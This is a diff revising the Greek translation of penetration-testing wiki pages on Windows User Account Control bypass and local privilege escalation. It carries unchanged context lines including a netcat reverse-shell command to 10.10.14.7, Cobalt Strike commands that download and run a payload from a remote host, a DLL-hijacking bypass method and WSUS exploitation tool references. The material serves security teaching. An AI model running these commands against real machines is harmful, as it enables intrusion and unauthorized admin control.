-Αυτή η [σελίδα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά πώς λειτουργεί ο UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί ο UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς [εδώ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για τον UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
+Αυτή η [σελίδα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά πώς λειτουργεί το UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε ένα περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς [εδώ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
 
 | Ρύθμιση Πολιτικής Ομάδας                                                                                                                                                                                                                                                                                                                                                           | Κλειδί Μητρώου                | Προεπιλεγμένη Ρύθμιση                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
-| [Έλεγχος Λογαριασμού Χρήστη: Λειτουργία Έγκρισης Διαχειριστή για τον ενσωματωμένο λογαριασμό διαχειριστή](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Απενεργοποιημένο                                                     |
-| [Έλεγχος Λογαριασμού Χρήστη: Επιτρέψτε στις εφαρμογές UIAccess να ζητούν ανύψωση χωρίς να χρησιμοποιούν την ασφαλή επιφάνεια εργασίας](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Απενεργοποιημένο                                                     |
-| [Έλεγχος Λογαριασμού Χρήστη: Συμπεριφορά της προτροπής ανύψωσης για διαχειριστές στη Λειτουργία Έγκρισης Διαχειριστή](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Ζητήστε συγκατάθεση για μη Windows δυαδικά                  |
-| [Έλεγχος Λογαριασμού Χρήστη: Συμπεριφορά της προτροπής ανύψωσης για τυπικούς χρήστες](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Ζητήστε διαπιστευτήρια στην ασφαλή επιφάνεια εργασίας                 |
-| [Έλεγχος Λογαριασμού Χρήστη: Ανίχνευση εγκαταστάσεων εφαρμογών και προτροπή για ανύψωση](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Ενεργοποιημένο (προεπιλογή για οικιακή χρήση) Απενεργοποιημένο (προεπιλογή για επιχείρηση) |
-| [Έλεγχος Λογαριασμού Χρήστη: Μόνο ανύψωση εκτελέσιμων που είναι υπογεγραμμένα και επικυρωμένα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Απενεργοποιημένο                                                     |
-| [Έλεγχος Λογαριασμού Χρήστη: Μόνο ανύψωση εφαρμογών UIAccess που είναι εγκατεστημένες σε ασφαλείς τοποθεσίες](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Ενεργοποιημένο                                                      |
-| [Έλεγχος Λογαριασμού Χρήστη: Εκτέλεση όλων των διαχειριστών στη Λειτουργία Έγκρισης Διαχειριστή](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Ενεργοποιημένο                                                      |
-| [Έλεγχος Λογαριασμού Χρήστη: Μετάβαση στην ασφαλή επιφάνεια εργασίας κατά την προτροπή για ανύψωση](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Ενεργοποιημένο                                                      |
-| [Έλεγχος Λογαριασμού Χρήστη: Εικονικοποίηση αποτυχιών εγγραφής αρχείων και μητρώου σε τοποθεσίες ανά χρήστη](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Ενεργοποιημένο                                                      |
+| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Απενεργοποιημένο                                                     |
+| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Απενεργοποιημένο                                                     |
+| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Προτροπή για συγκατάθεση για μη Windows δυαδικά                  |
+| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Προτροπή για διαπιστευτήρια στην ασφαλή επιφάνεια εργασίας                 |
+| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Ενεργοποιημένο (προεπιλογή για οικιακή χρήση) Απενεργοποιημένο (προεπιλογή για επιχείρηση) |
+| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Απενεργοποιημένο                                                     |
+| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Ενεργοποιημένο                                                      |
+| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Ενεργοποιημένο                                                      |
+| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Ενεργοποιημένο                                                      |
+| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Ενεργοποιημένο                                                      |
 
-### Θεωρία Παράκαμψης UAC
+### UAC Bypass Theory
 
-Ορισμένα προγράμματα είναι **αυτοανυψωμένα αυτόματα** εάν ο **χρήστης ανήκει** στην **ομάδα διαχειριστών**. Αυτά τα δυαδικά έχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Το δυαδικό πρέπει επίσης να είναι **υπογεγραμμένο από τη Microsoft**.
+Ορισμένα προγράμματα είναι **αυτοανυψωμένα αυτόματα** αν ο **χρήστης ανήκει** στην **ομάδα διαχειριστών**. Αυτές οι δυαδικές έχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Η δυαδική πρέπει επίσης να είναι **υπογεγραμμένη από τη Microsoft**.
 
-Στη συνέχεια, για να **παρακάμψουν** τον **UAC** (ανύψωση από **μεσαίο** επίπεδο ακεραιότητας **σε υψηλό**) ορισμένοι επιτιθέμενοι χρησιμοποιούν αυτούς τους τύπους δυαδικών για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελούνται από μια **Διαδικασία Υψη
+Έτσι, για να **παρακαμφθεί** το **UAC** (ανύψωση από **μεσαίο** επίπεδο ακεραιότητας **σε υψηλό**) κάποιοι επιτιθέμενοι χρησιμοποιούν αυτού του είδους τις δυαδικές για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελούνται από μια **Διαδικασία Υψηλού επιπέδου ακεραιότητας**.
+
+Μπορείτε να **ελέγξετε** το _**Manifest**_ μιας δυαδικής χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από το Sysinternals. Και μπορείτε να **δείτε** το **επίπεδο ακεραιότητας** των διαδικασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (του Sysinternals).
+
+### Check UAC
+
+Για να επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο κάντε:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
 
@@ -49,18 +55,18 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- Αν **`0`** τότε, το UAC δεν θα ζητήσει (όπως **απενεργοποιημένο**)
+- Αν **`0`** τότε, το UAC δεν θα ζητήσει επιβεβαίωση (όπως **απενεργοποιημένο**)
 - Αν **`1`** ο διαχειριστής **ζητείται να εισάγει όνομα χρήστη και κωδικό πρόσβασης** για να εκτελέσει το δυαδικό αρχείο με υψηλά δικαιώματα (στην Ασφαλή Επιφάνεια Εργασίας)
-- Αν **`2`** (**Πάντα να με ειδοποιείς**) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά δικαιώματα (στην Ασφαλή Επιφάνεια Εργασίας)
+- Αν **`2`** (**Πάντα να με ειδοποιείς**) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (στην Ασφαλή Επιφάνεια Εργασίας)
 - Αν **`3`** όπως το `1` αλλά δεν είναι απαραίτητο στην Ασφαλή Επιφάνεια Εργασίας
 - Αν **`4`** όπως το `2` αλλά δεν είναι απαραίτητο στην Ασφαλή Επιφάνεια Εργασίας
-- αν **`5`**(**προεπιλογή**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows δυαδικών αρχείων με υψηλά δικαιώματα
+- αν **`5`**(**προεπιλογή**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows δυαδικών αρχείων με υψηλά προνόμια
 
 Στη συνέχεια, πρέπει να ρίξετε μια ματιά στην τιμή του **`LocalAccountTokenFilterPolicy`**\
 Αν η τιμή είναι **`0`**, τότε, μόνο ο χρήστης **RID 500** (**ενσωματωμένος Διαχειριστής**) μπορεί να εκτελεί **διοικητικά καθήκοντα χωρίς UAC**, και αν είναι `1`, **όλοι οι λογαριασμοί μέσα στην ομάδα "Administrators"** μπορούν να τα εκτελούν.
 
 Και, τελικά, ρίξτε μια ματιά στην τιμή του κλειδιού **`FilterAdministratorToken`**\
-Αν **`0`**(προεπιλογή), ο **ενσωματωμένος λογαριασμός Διαχειριστή μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν **`1`** ο ενσωματωμένος λογαριασμός Διαχειριστή **δεν μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το `LocalAccountTokenFilterPolicy` έχει οριστεί σε `1`.
+Αν **`0`**(προεπιλογή), ο **ενσωματωμένος λογαριασμός Διαχειριστή μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν **`1`** ο ενσωματωμένος λογαριασμός Διαχειριστή **δεν μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το `LocalAccountTokenFilterPolicy` είναι ρυθμισμένο σε `1`.
 
 #### Περίληψη
 
@@ -79,7 +85,7 @@ whoami /groups | findstr Level
 ## UAC bypass
 
 > [!NOTE]
-> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο προτροπής UAC
+> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο προτροπής UAC.
 
 Η παράκαμψη UAC είναι απαραίτητη στην εξής κατάσταση: **η UAC είναι ενεργοποιημένη, η διαδικασία σας εκτελείται σε ένα μέσο επίπεδο ακεραιότητας και ο χρήστης σας ανήκει στην ομάδα διαχειριστών**.
 
@@ -93,14 +99,14 @@ whoami /groups | findstr Level
 Start-Process powershell -Verb runAs "calc.exe"
 Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
 ```
-#### Παράκαμψη UAC με αντιγραφή διακριτικού
+#### UAC bypass με αντιγραφή διακριτικού
 
 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 
-### **Πολύ** Βασική "παράκαμψη" UAC (πλήρης πρόσβαση στο σύστημα αρχείων)
+### **Πολύ** Βασικός UAC "bypass" (πλήρης πρόσβαση στο σύστημα αρχείων)
 
-Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών, μπορείτε να **τοποθετήσετε το C$** κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμα και στον φάκελο του Διαχειριστή).
+Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών μπορείτε να **τοποθετήσετε το C$** κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμα και στον φάκελο του Διαχειριστή).
 
 > [!WARNING]
 > **Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πια**
@@ -125,18 +131,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
 # Bypass UAC with CMSTPLUA COM interface
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 ```
-**Empire** και **Metasploit** έχουν επίσης αρκετά modules για **bypass** του **UAC**.
+**Empire** και **Metasploit** έχουν επίσης αρκετά modules για να **bypass** το **UAC**.
 
 ### KRBUACBypass
 
-Τεκμηρίωση και εργαλείο στο [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
+Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) που είναι μια **συλλογή** αρκετών UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME χρησιμοποιώντας visual studio ή msbuild**. Η συλλογή θα δημιουργήσει αρκετά executables (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`), θα χρειαστεί να γνωρίζετε **ποιο χρειάζεστε.**\
+[**UACME** ](https://github.com/hfiref0x/UACME)που είναι μια **compilation** αρκετών UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME χρησιμοποιώντας visual studio ή msbuild**. Η compilation θα δημιουργήσει αρκετά executables (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`), θα χρειαστεί να ξέρετε **ποιο χρειάζεστε.**\
 Πρέπει να **είστε προσεκτικοί** γιατί μερικά bypass θα **προκαλέσουν κάποια άλλα προγράμματα** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει.
 
-Το UACME έχει την **έκδοση build από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας:
+Το UACME έχει την **build version από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -144,41 +150,41 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Επίσης, χρησιμοποιώντας [αυτήν](https://en.wikipedia.org/wiki/Windows_10_version_history) τη σελίδα, μπορείτε να αποκτήσετε την έκδοση Windows `1607` από τις εκδόσεις build.
+Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
 
-#### Περισσότεροι τρόποι παράκαμψης UAC
+#### Περισσότερο UAC bypass
 
-**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για την παράκαμψη του AUC **απαιτούν** μια **πλήρη διαδραστική κονσόλα** με το θύμα (μια κοινή κονσόλα nc.exe δεν είναι αρκετή).
+**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακάμψουν το AUC **απαιτούν** μια **πλήρη διαδραστική κονσόλα** με το θύμα (μια κοινή nc.exe κονσόλα δεν είναι αρκετή).
 
-Μπορείτε να αποκτήσετε πρόσβαση χρησιμοποιώντας μια **συνεδρία meterpreter**. Μεταναστεύστε σε μια **διαδικασία** που έχει την τιμή **Session** ίση με **1**:
+Μπορείτε να αποκτήσετε πρόσβαση χρησιμοποιώντας μια **meterpreter** συνεδρία. Μεταναστεύστε σε μια **διαδικασία** που έχει την τιμή **Session** ίση με **1**:
 
 ![](<../../images/image (863).png>)
 
 (_explorer.exe_ θα πρέπει να λειτουργεί)
 
-### Παράκαμψη UAC με GUI
+### UAC Bypass με GUI
 
-Αν έχετε πρόσβαση σε μια **GUI μπορείτε απλώς να αποδεχθείτε την προτροπή UAC** όταν την λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC.
+Αν έχετε πρόσβαση σε μια **GUI μπορείτε απλά να αποδεχτείτε το UAC prompt** όταν το λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC.
 
-Επιπλέον, αν αποκτήσετε μια συνεδρία GUI που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως διαχειριστής** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο **αθόρυβο**.
+Επιπλέον, αν αποκτήσετε μια GUI συνεδρία που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως διαχειριστής** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο **αθόρυβο**.
 
-### Θορυβώδης brute-force παράκαμψη UAC
+### Θορυβώδης brute-force UAC bypass
 
-Αν δεν σας νοιάζει να είστε θορυβώδεις, μπορείτε πάντα να **τρέξετε κάτι όπως** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το αποδεχθεί**.
+Αν δεν σας νοιάζει να είστε θορυβώδεις μπορείτε πάντα να **τρέξετε κάτι όπως** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το αποδεχτεί**.
 
-### Η δική σας παράκαμψη - Βασική μεθοδολογία παράκαμψης UAC
+### Η δική σας παράκαμψη - Βασική μεθοδολογία UAC bypass
 
-Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παράκαμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
+Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
 1. Βρείτε ένα δυαδικό αρχείο που θα **αυτοανυψώνεται** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας).
 2. Με το procmon βρείτε γεγονότα "**NAME NOT FOUND**" που μπορεί να είναι ευάλωτα σε **DLL Hijacking**.
 3. Πιθανώς θα χρειαστεί να **γράψετε** το DLL μέσα σε κάποιες **προστατευμένες διαδρομές** (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:
-   1. **wusa.exe**: Windows 7, 8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας).
+   1. **wusa.exe**: Windows 7,8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας).
    2. **IFileOperation**: Windows 10.
-4. Ετοιμάστε ένα **σενάριο** για να αντιγράψετε το DLL σας μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό αρχείο.
+4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό αρχείο.
 
-### Μια άλλη τεχνική παράκαμψης UAC
+### Μια άλλη τεχνική UAC bypass
 
-Αποτελείται από την παρακολούθηση αν ένα **αυτοανυψωμένο δυαδικό αρχείο** προσπαθεί να **διαβάσει** από το **μητρώο** το **όνομα/διαδρομή** ενός **δυαδικού** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το δυαδικό αναζητά αυτές τις πληροφορίες μέσα στο **HKCU**).
+Αποτελείται από την παρακολούθηση αν ένα **autoElevated binary** προσπαθεί να **διαβάσει** από το **μητρώο** το **όνομα/διαδρομή** ενός **δυαδικού** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το δυαδικό αναζητά αυτές τις πληροφορίες μέσα στο **HKCU**).
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### **Καλύτερο εργαλείο για αναζήτηση παραγόντων τοπικής κλιμάκωσης δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+### **Καλύτερο εργαλείο για αναζήτηση παραγόντων τοπικής κλιμάκωσης προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 ## Αρχική Θεωρία Windows
 
-### Διακριτικά Πρόσβασης
+### Διαπιστευτήρια Πρόσβασης
 
-**Αν δεν ξέρετε τι είναι τα Διακριτικά Πρόσβασης Windows, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:**
+**Αν δεν ξέρετε τι είναι τα Διαπιστευτήρια Πρόσβασης Windows, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:**
 
 {{#ref}}
 access-tokens.md
@@ -32,7 +32,7 @@ integrity-levels.md
 
 ## Έλεγχοι Ασφαλείας Windows
 
-Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν **να σας εμποδίσουν να καταγράψετε το σύστημα**, να εκτελέσετε εκτελέσιμα ή ακόμα και **να ανιχνεύσουν τις δραστηριότητές σας**. Θα πρέπει **να διαβάσετε** την παρακάτω **σελίδα** και **να καταγράψετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την καταγραφή κλιμάκωσης δικαιωμάτων:
+Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν να **εμποδίσουν την καταμέτρηση του συστήματος**, να εκτελέσουν εκτελέσιμα ή ακόμα και **να ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **καταμετρήσετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την καταμέτρηση κλιμάκωσης προνομίων:
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/
@@ -40,9 +40,9 @@ integrity-levels.md
 
 ## Πληροφορίες Συστήματος
 
-### Καταγραφή πληροφοριών έκδοσης
+### Καταμέτρηση πληροφοριών έκδοσης
 
-Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα εφαρμοσμένα patches).
+Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα patches που έχουν εφαρμοστεί).
 ```bash
 systeminfo
 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@@ -167,7 +167,7 @@ WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
 
 Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε, η καταχώρηση WSUS θα αγνοηθεί.
 
-Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψεύτικες' ενημερώσεις σε μη SSL WSUS κυκλοφορία.
